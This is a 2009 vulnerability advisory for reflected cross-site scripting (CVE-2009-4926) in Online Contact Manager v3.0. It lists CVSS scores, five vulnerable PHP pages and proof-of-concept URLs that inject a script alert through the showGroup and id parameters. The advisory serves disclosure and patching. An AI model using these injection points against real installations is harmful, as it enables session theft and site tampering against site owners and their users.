Multiple Cross-site Scripting (XSS) Vulnerability

2010.07.13

Credit: Vrs-hCk

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2009-4926

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

 =========================================================================================

 Title    : Multiple Cross-site Scripting (XSS) Vulnerability
 Software : Online Contact Manager v3.0
 Vendor   : www.esoftpro.com

 Date     : 19 April 2009
 Author   : Vrs-hCk
 Contact  : d00r@telkom.net
 Blog     : c0li.BlogSpot.Com

 =========================================================================================

 [-] Vulnerable

     index.php
     view.php
     email.php
     edit.php
     delete.php

 [-] Exploit

     http://[site]/[path]/index.php?showGroup=+<script>alert(123)</script>
     http://[site]/[path]/view.php?id=+<script>alert(123)</script>
     http://[site]/[path]/email.php?id=+<script>alert(123)</script>
     http://[site]/[path]/edit.php?id=+<script>alert(123)</script>
     http://[site]/[path]/delete.php?id=+<script>alert(123)</script>

 =========================================================================================

 [-] Greetz   :

     Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,
     bl4Ck_3n91n3, H312Y, S3T4N, Janroe, and special muaacchh utk Dia yg Ku Cintai (*_^)
     c0li.m0de.0n and Behave oR BeGone !!!

 =========================================================================================

References:

http://www.securityfocus.com/bid/34626

http://secunia.com/advisories/34826

http://packetstorm.linuxsecurity.com/0904-exploits/ocm30-xss.txt

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Multiple Cross-site Scripting (XSS) Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.